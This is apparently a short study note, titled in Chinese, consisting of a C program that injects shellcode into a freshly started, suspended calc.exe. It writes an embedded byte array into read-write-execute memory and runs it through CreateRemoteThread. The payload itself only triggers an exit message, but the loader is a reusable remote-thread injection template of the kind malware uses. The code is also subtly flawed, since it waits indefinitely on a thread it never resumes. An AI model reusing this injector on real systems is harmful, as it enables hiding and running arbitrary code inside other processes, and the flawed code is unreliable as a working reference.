远程线程注入shellcode笔记

#include "stdafx.h"

#include <windows.h>

#include <stdio.h>

char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"

		"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"

		"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"

		"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"

		"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"

		"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"

		"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"

		"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

BOOL injection()

{

	wchar_t Cappname[MAX_PATH] = {0};

	STARTUPINFO si;

	PROCESS_INFORMATION pi;

	LPVOID lpMalwareBaseAddr;

	LPVOID lpnewVictimBaseAddr;

	HANDLE hThread;

	DWORD dwExitCode;

	BOOL bRet = FALSE;

	lpMalwareBaseAddr = shellcode;

	//获取计算器的地址，接下来将启动一个计算器

	GetSystemDirectory(Cappname,MAX_PATH);

	_tcscat(Cappname,L"\\calc.exe");

	printf("Injection program Name:%S\r\n",Cappname);

	ZeroMemory(&si,sizeof(si));

	si.cb = sizeof(si);

	ZeroMemory(&pi,sizeof(pi));

	//创建计算器

	if (CreateProcess(Cappname,NULL,NULL,NULL,

		FALSE,CREATE_SUSPENDED

		,NULL,NULL,&si,&pi) == 0)

	{

		return bRet;

	}

	//开辟内存空间大小

	lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess

		,NULL,sizeof(shellcode)+1,MEM_COMMIT|MEM_RESERVE,

		PAGE_EXECUTE_READWRITE);

	if (lpnewVictimBaseAddr == NULL)

	{

		return bRet;

	}

	//将SHELLCODE写入

	WriteProcessMemory(pi.hProcess,lpnewVictimBaseAddr,

		(LPVOID)lpMalwareBaseAddr,sizeof(shellcode)+1,NULL);

	//创建线程

	hThread = CreateRemoteThread(pi.hProcess,0,0,

		(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr,NULL,0,NULL);

	//等待结束进程

	WaitForSingleObject(pi.hThread,INFINITE);

	GetExitCodeProcess(pi.hProcess,&dwExitCode);

	TerminateProcess(pi.hProcess,0);

	return bRet;

}

void help(char* proc)

{

	printf("%s:[-] start a process and injection shellcode to memory\r\n",proc);

}

int main(int argc,char* argv[])

{

	help(argv[0]);

	injection();

}